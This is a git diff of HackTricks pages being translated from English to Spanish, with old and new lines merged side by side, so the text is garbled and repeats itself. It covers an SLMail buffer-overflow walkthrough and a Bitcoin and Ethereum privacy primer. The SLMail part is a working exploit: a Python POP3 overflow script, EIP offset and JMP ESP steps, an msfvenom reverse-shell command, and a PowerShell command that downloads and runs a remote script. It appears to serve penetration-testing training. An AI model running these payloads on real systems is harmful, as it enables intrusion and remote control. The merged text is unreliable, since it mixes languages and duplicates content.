- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## ARM64 Example Esto no cambia en absoluto en ARM64 ya que las variables locales también se gestionan en la pila, puedes [**ver este ejemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) donde se muestra esto.
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,21 +1,18 @@
# Windows Exploiting (Basic Guide - OSCP lvl) # Windows Exploiting (Guía Básica - Nivel OSCP)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service** ## **Comienza a instalar el servicio SLMail**
## Restart SLMail service ## Reiniciar el servicio SLMail
Every time you need to **restart the service SLMail** you can do it using the windows console:
Cada vez que necesites **reiniciar el servicio SLMail** puedes hacerlo usando la consola de Windows:
``` ```
net start slmail net start slmail
``` ```
![](<../images/image (988).png>) ![](<../images/image (988).png>)
## Very basic python exploit template ## Plantilla de exploit de python muy básica
```python ```python
#!/usr/bin/python #!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700 buffer = 'A' * 2700
try: try:
print "\nLaunching exploit..." print "\nLaunching exploit..."
s.connect((ip, port)) s.connect((ip, port))
data = s.recv(1024) data = s.recv(1024)
s.send('USER username' +'\r\n') s.send('USER username' +'\r\n')
data = s.recv(1024) data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n') s.send('PASS ' + buffer + '\r\n')
print "\nFinished!." print "\nFinished!."
except: except:
print "Could not connect to "+ip+":"+port print "Could not connect to "+ip+":"+port
``` ```
## **Cambiar la fuente de Immunity Debugger**
## **Change Immunity Debugger Font** Ve a `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` ## **Adjuntar el proceso a Immunity Debugger:**
## **Attach the proces to Immunity Debugger:**
**File --> Attach** **File --> Attach**
![](<../images/image (869).png>) ![](<../images/image (869).png>)
**And press START button** **Y presiona el botón START**
## **Send the exploit and check if EIP is affected:** ## **Envía el exploit y verifica si EIP está afectado:**
![](<../images/image (906).png>) ![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page. Cada vez que interrumpas el servicio, debes reiniciarlo como se indica al principio de esta página.
## Create a pattern to modify the EIP ## Crear un patrón para modificar el EIP
The pattern should be as big as the buffer you used to broke the service previously. El patrón debe ser tan grande como el buffer que usaste para romper el servicio anteriormente.
![](<../images/image (420).png>) ![](<../images/image (420).png>)
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
``` ```
Cambia el búfer del exploit y establece el patrón y lanza el exploit.
Change the buffer of the exploit and set the pattern and lauch the exploit. Debería aparecer un nuevo fallo, pero con una dirección EIP diferente:
A new crash should appeard, but with a different EIP address:
![](<../images/image (636).png>) ![](<../images/image (636).png>)
Check if the address was in your pattern: Verifica si la dirección estaba en tu patrón:
![](<../images/image (418).png>) ![](<../images/image (418).png>)
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
``` ```
Parece que **podemos modificar el EIP en el offset 2606** del buffer.
Looks like **we can modify the EIP in offset 2606** of the buffer. Verifícalo modificando el buffer del exploit:
Check it modifing the buffer of the exploit:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'CCCC' buffer = 'A'*2606 + 'BBBB' + 'CCCC'
``` ```
Con este búfer, el EIP que se bloqueó debería apuntar a 42424242 ("BBBB")
With this buffer the EIP crashed should point to 42424242 ("BBBB")
![](<../images/image (874).png>) ![](<../images/image (874).png>)
![](<../images/image (92).png>) ![](<../images/image (92).png>)
Looks like it is working. Parece que está funcionando.
## Check for Shellcode space inside the stack ## Verificar el espacio para Shellcode dentro de la pila
600B should be enough for any powerfull shellcode. 600B debería ser suficiente para cualquier shellcode potente.
Lets change the bufer:
Vamos a cambiar el búfer:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'C'*600 buffer = 'A'*2606 + 'BBBB' + 'C'*600
``` ```
lance el nuevo exploit y verifique el EBP y la longitud del shellcode útil
launch the new exploit and check the EBP and the length of the usefull shellcode
![](<../images/image (119).png>) ![](<../images/image (119).png>)
![](<../images/image (879).png>) ![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. Puede ver que cuando se alcanza la vulnerabilidad, el EBP apunta al shellcode y que tenemos mucho espacio para ubicar un shellcode aquí.
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. En este caso tenemos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente.
## Check for bad chars ## Verifique los caracteres no deseados
Change again the buffer:
Cambia nuevamente el buffer:
``` ```
badchars = ( badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,63 +128,45 @@ badchars = (
) )
buffer = 'A'*2606 + 'BBBB' + badchars buffer = 'A'*2606 + 'BBBB' + badchars
``` ```
Los badchars comienzan en 0x01 porque 0x00 es casi siempre malo.
The badchars starts in 0x01 because 0x00 is almost always bad. Ejecuta repetidamente el exploit con este nuevo buffer eliminando los caracteres que se encuentran como inútiles:
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. Por ejemplo:
For example: En este caso puedes ver que **no deberías usar el carácter 0x0A** (nada se guarda en memoria ya que el carácter 0x09).
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
![](<../images/image (111).png>) ![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**: En este caso puedes ver que **se evita el carácter 0x0D**:
![](<../images/image (1098).png>) ![](<../images/image (1098).png>)
## Find a JMP ESP as a return address ## Encuentra un JMP ESP como dirección de retorno
Using:
Usando:
``` ```
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
``` ```
Ahora, dentro de esta memoria deberías encontrar algunos bytes JMP ESP, para hacer eso ejecuta:
You will **list the memory maps**. Search for some DLl that has:
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
- **OS Dll: True**
![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
``` ```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
``` ```
**Entonces, si se encuentra alguna dirección, elige una que no contenga ningún badchar:**
**Then, if some address is found, choose one that don't contain any badchar:**
![](<../images/image (605).png>) ![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_ **En este caso, por ejemplo: \_0x5f4a358f**\_
## Create shellcode
## Crear shellcode
``` ```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
``` ```
Si el exploit no está funcionando pero debería (puedes ver con ImDebg que se alcanza el shellcode), intenta crear otros shellcodes (msfvenom con crear diferentes shellcodes para los mismos parámetros).
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). **Agrega algunos NOPS al principio** del shellcode y úsalo junto con la dirección de retorno para JMP ESP, y termina el exploit:
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
```bash ```bash
#!/usr/bin/python #!/usr/bin/python
@ -236,26 +205,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try: try:
print "\nLaunching exploit..." print "\nLaunching exploit..."
s.connect((ip, port)) s.connect((ip, port))
data = s.recv(1024) data = s.recv(1024)
s.send('USER username' +'\r\n') s.send('USER username' +'\r\n')
data = s.recv(1024) data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n') s.send('PASS ' + buffer + '\r\n')
print "\nFinished!." print "\nFinished!."
except: except:
print "Could not connect to "+ip+":"+port print "Could not connect to "+ip+":"+port
``` ```
> [!WARNING] > [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode > Hay shellcodes que **se sobrescriben a sí mismos**, por lo tanto, es importante siempre agregar algunos NOPs antes del shellcode
## Improving the shellcode ## Mejorando el shellcode
Add this parameters:
Agrega estos parámetros:
```bash ```bash
EXITFUNC=thread -e x86/shikata_ga_nai EXITFUNC=thread -e x86/shikata_ga_nai
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Concepts ## Conceptos Básicos
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. - **Smart Contracts** se definen como programas que se ejecutan en una blockchain cuando se cumplen ciertas condiciones, automatizando la ejecución de acuerdos sin intermediarios.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. - **Decentralized Applications (dApps)** se basan en smart contracts, presentando una interfaz amigable para el usuario y un backend transparente y auditable.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - **Tokens & Coins** diferencian donde las coins sirven como dinero digital, mientras que los tokens representan valor o propiedad en contextos específicos.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. - **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** significan propiedad de activos.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. - **DeFi** significa Finanzas Descentralizadas, ofreciendo servicios financieros sin autoridades centrales.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. - **DEX** y **DAOs** se refieren a Plataformas de Intercambio Descentralizado y Organizaciones Autónomas Descentralizadas, respectivamente.
## Consensus Mechanisms ## Mecanismos de Consenso
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: Los mecanismos de consenso aseguran validaciones de transacciones seguras y acordadas en la blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification. - **Proof of Work (PoW)** se basa en el poder computacional para la verificación de transacciones.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. - **Proof of Stake (PoS)** exige que los validadores mantengan una cierta cantidad de tokens, reduciendo el consumo de energía en comparación con PoW.
## Bitcoin Essentials ## Esenciales de Bitcoin
### Transactions ### Transacciones
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. Las transacciones de Bitcoin implican la transferencia de fondos entre direcciones. Las transacciones se validan a través de firmas digitales, asegurando que solo el propietario de la clave privada pueda iniciar transferencias.
#### Key Components: #### Componentes Clave:
- **Multisignature Transactions** require multiple signatures to authorize a transaction. - **Multisignature Transactions** requieren múltiples firmas para autorizar una transacción.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). - Las transacciones consisten en **inputs** (fuente de fondos), **outputs** (destino), **fees** (pagados a los mineros) y **scripts** (reglas de la transacción).
### Lightning Network ### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. Aumenta la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, transmitiendo solo el estado final a la blockchain.
## Bitcoin Privacy Concerns ## Preocupaciones de Privacidad de Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de transacción. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al oscurecer los vínculos de transacción entre usuarios.
## Acquiring Bitcoins Anonymously ## Adquiriendo Bitcoins Anónimamente
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. Los métodos incluyen intercambios en efectivo, minería y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones regulares para una mayor privacidad.
# Bitcoin Privacy Atacks # Ataques a la Privacidad de Bitcoin
# Summary of Bitcoin Privacy Attacks # Resumen de Ataques a la Privacidad de Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios son a menudo temas de preocupación. Aquí hay una visión simplificada de varios métodos comunes a través de los cuales los atacantes pueden comprometer la privacidad de Bitcoin.
## **Common Input Ownership Assumption** ## **Suposición de Propiedad de Entrada Común**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. Es generalmente raro que las entradas de diferentes usuarios se combinen en una sola transacción debido a la complejidad involucrada. Por lo tanto, **se asume a menudo que dos direcciones de entrada en la misma transacción pertenecen al mismo propietario**.
## **UTXO Change Address Detection** ## **Detección de Dirección de Cambio UTXO**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. Un UTXO, o **Unspent Transaction Output**, debe ser completamente gastado en una transacción. Si solo una parte se envía a otra dirección, el resto va a una nueva dirección de cambio. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad.
### Example ### Ejemplo
To mitigate this, mixing services or using multiple addresses can help obscure ownership. Para mitigar esto, los servicios de mezcla o el uso de múltiples direcciones pueden ayudar a oscurecer la propiedad.
## **Social Networks & Forums Exposure** ## **Exposición en Redes Sociales y Foros**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que hace **fácil vincular la dirección a su propietario**.
## **Transaction Graph Analysis** ## **Análisis de Gráficos de Transacciones**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. Las transacciones pueden visualizarse como gráficos, revelando conexiones potenciales entre usuarios basadas en el flujo de fondos.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)** ## **Heurística de Entrada Innecesaria (Heurística de Cambio Óptimo)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. Esta heurística se basa en analizar transacciones con múltiples entradas y salidas para adivinar cuál salida es el cambio que regresa al remitente.
### Example
### Ejemplo
```bash ```bash
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 1 btc 3 btc 1 btc
``` ```
Si agregar más entradas hace que la salida cambie más que cualquier entrada individual, puede confundir la heurística.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. ## **Reutilización Forzada de Direcciones**
## **Forced Address Reuse** Los atacantes pueden enviar pequeñas cantidades a direcciones previamente utilizadas, con la esperanza de que el destinatario las combine con otras entradas en transacciones futuras, vinculando así las direcciones.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. ### Comportamiento Correcto de la Billetera
### Correct Wallet Behavior Las billeteras deben evitar usar monedas recibidas en direcciones ya utilizadas y vacías para prevenir esta fuga de privacidad.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. ## **Otras Técnicas de Análisis de Blockchain**
## **Other Blockchain Analysis Techniques** - **Montos de Pago Exactos:** Las transacciones sin cambio son probablemente entre dos direcciones pertenecientes al mismo usuario.
- **Números Redondos:** Un número redondo en una transacción sugiere que es un pago, siendo la salida no redonda probablemente el cambio.
- **Huella Digital de Billetera:** Diferentes billeteras tienen patrones únicos de creación de transacciones, lo que permite a los analistas identificar el software utilizado y potencialmente la dirección de cambio.
- **Correlaciones de Monto y Tiempo:** Divulgar los tiempos o montos de las transacciones puede hacer que las transacciones sean rastreables.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. ## **Análisis de Tráfico**
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Traffic Analysis** Al monitorear el tráfico de la red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos de Bitcoin, mejorando su capacidad para monitorear transacciones.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. ## Más
## More Para una lista completa de ataques a la privacidad y defensas, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). # Transacciones Anónimas de Bitcoin
# Anonymous Bitcoin Transactions ## Formas de Obtener Bitcoins de Manera Anónima
## Ways to Get Bitcoins Anonymously - **Transacciones en Efectivo**: Adquirir bitcoin a través de efectivo.
- **Alternativas en Efectivo**: Comprar tarjetas de regalo y cambiarlas en línea por bitcoin.
- **Minería**: El método más privado para ganar bitcoins es a través de la minería, especialmente cuando se hace solo, ya que los grupos de minería pueden conocer la dirección IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Robo**: Teóricamente, robar bitcoin podría ser otro método para adquirirlo de manera anónima, aunque es ilegal y no se recomienda.
- **Cash Transactions**: Acquiring bitcoin through cash. ## Servicios de Mezcla
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Mixing Services Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **diferentes bitcoins a cambio**, lo que dificulta rastrear al propietario original. Sin embargo, esto requiere confianza en el servicio para no mantener registros y para devolver realmente los bitcoins. Las opciones de mezcla alternativas incluyen casinos de Bitcoin.
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
## CoinJoin ## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. **CoinJoin** combina múltiples transacciones de diferentes usuarios en una, complicando el proceso para cualquiera que intente emparejar entradas con salidas. A pesar de su efectividad, las transacciones con tamaños de entrada y salida únicos aún pueden ser potencialmente rastreadas.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. Las transacciones de ejemplo que pueden haber utilizado CoinJoin incluyen `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. Para más información, visita [CoinJoin](https://coinjoin.io/en). Para un servicio similar en Ethereum, consulta [Tornado Cash](https://tornado.cash), que anonimiza transacciones con fondos de mineros.
## PayJoin ## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. Una variante de CoinJoin, **PayJoin** (o P2EP), disfraza la transacción entre dos partes (por ejemplo, un cliente y un comerciante) como una transacción regular, sin las características distintivas de salidas iguales propias de CoinJoin. Esto hace que sea extremadamente difícil de detectar y podría invalidar la heurística de propiedad de entrada común utilizada por las entidades de vigilancia de transacciones.
```plaintext ```plaintext
2 btc --> 3 btc 2 btc --> 3 btc
5 btc 4 btc 5 btc 4 btc
``` ```
Transacciones como la anterior podrían ser PayJoin, mejorando la privacidad mientras permanecen indistinguibles de las transacciones estándar de bitcoin.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. **La utilización de PayJoin podría interrumpir significativamente los métodos de vigilancia tradicionales**, lo que lo convierte en un desarrollo prometedor en la búsqueda de la privacidad transaccional.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. # Mejores Prácticas para la Privacidad en Criptomonedas
# Best Practices for Privacy in Cryptocurrencies ## **Técnicas de Sincronización de Monederos**
## **Wallet Synchronization Techniques** Para mantener la privacidad y la seguridad, es crucial sincronizar los monederos con la blockchain. Dos métodos destacan:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: - **Nodo completo**: Al descargar toda la blockchain, un nodo completo asegura la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, lo que hace imposible que los adversarios identifiquen qué transacciones o direcciones le interesan al usuario.
- **Filtrado de bloques del lado del cliente**: Este método implica crear filtros para cada bloque en la blockchain, permitiendo que los monederos identifiquen transacciones relevantes sin exponer intereses específicos a los observadores de la red. Los monederos ligeros descargan estos filtros, obteniendo bloques completos solo cuando se encuentra una coincidencia con las direcciones del usuario.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. ## **Utilizando Tor para la Anonimidad**
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilizing Tor for Anonymity** Dado que Bitcoin opera en una red peer-to-peer, se recomienda usar Tor para enmascarar tu dirección IP, mejorando la privacidad al interactuar con la red.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. ## **Prevención de la Reutilización de Direcciones**
## **Preventing Address Reuse** Para salvaguardar la privacidad, es vital usar una nueva dirección para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones a la misma entidad. Los monederos modernos desincentivan la reutilización de direcciones a través de su diseño.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. ## **Estrategias para la Privacidad Transaccional**
## **Strategies for Transaction Privacy** - **Múltiples transacciones**: Dividir un pago en varias transacciones puede oscurecer el monto de la transacción, frustrando ataques a la privacidad.
- **Evitación de cambios**: Optar por transacciones que no requieran salidas de cambio mejora la privacidad al interrumpir los métodos de detección de cambios.
- **Múltiples salidas de cambio**: Si evitar el cambio no es factible, generar múltiples salidas de cambio aún puede mejorar la privacidad.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. # **Monero: Un Faro de Anonimato**
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: A Beacon of Anonymity** Monero aborda la necesidad de anonimato absoluto en las transacciones digitales, estableciendo un alto estándar para la privacidad.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. # **Ethereum: Gas y Transacciones**
# **Ethereum: Gas and Transactions** ## **Entendiendo el Gas**
## **Understanding Gas** El gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, tasado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un límite de gas y una tarifa base, con una propina para incentivar a los mineros. Los usuarios pueden establecer una tarifa máxima para asegurarse de no pagar de más, con el exceso reembolsado.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. ## **Ejecutando Transacciones**
## **Executing Transactions** Las transacciones en Ethereum involucran un remitente y un destinatario, que pueden ser direcciones de usuario o de contrato inteligente. Requieren una tarifa y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, límite de gas y tarifas. Notablemente, la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. Estas prácticas y mecanismos son fundamentales para cualquiera que busque participar en criptomonedas mientras prioriza la privacidad y la seguridad.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. ## Referencias
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Concepts ## Conceptos Básicos
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. - **Smart Contracts** se definen como programas que se ejecutan en una blockchain cuando se cumplen ciertas condiciones, automatizando la ejecución de acuerdos sin intermediarios.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. - **Decentralized Applications (dApps)** se basan en smart contracts, presentando una interfaz amigable para el usuario y un back-end transparente y auditable.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - **Tokens & Coins** diferencian donde las coins sirven como dinero digital, mientras que los tokens representan valor o propiedad en contextos específicos.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. - **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** significan propiedad de activos.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. - **DeFi** significa Finanzas Descentralizadas, ofreciendo servicios financieros sin autoridades centrales.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. - **DEX** y **DAOs** se refieren a Plataformas de Intercambio Descentralizadas y Organizaciones Autónomas Descentralizadas, respectivamente.
## Consensus Mechanisms ## Mecanismos de Consenso
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: Los mecanismos de consenso aseguran validaciones de transacciones seguras y acordadas en la blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification. - **Proof of Work (PoW)** se basa en el poder computacional para la verificación de transacciones.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. - **Proof of Stake (PoS)** exige que los validadores mantengan una cierta cantidad de tokens, reduciendo el consumo de energía en comparación con PoW.
## Bitcoin Essentials ## Esenciales de Bitcoin
### Transactions ### Transacciones
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. Las transacciones de Bitcoin implican la transferencia de fondos entre direcciones. Las transacciones se validan a través de firmas digitales, asegurando que solo el propietario de la clave privada pueda iniciar transferencias.
#### Key Components: #### Componentes Clave:
- **Multisignature Transactions** require multiple signatures to authorize a transaction. - **Multisignature Transactions** requieren múltiples firmas para autorizar una transacción.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). - Las transacciones constan de **inputs** (fuente de fondos), **outputs** (destino), **fees** (pagados a los mineros) y **scripts** (reglas de transacción).
### Lightning Network ### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. Aumenta la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, transmitiendo solo el estado final a la blockchain.
## Bitcoin Privacy Concerns ## Preocupaciones de Privacidad de Bitcoin
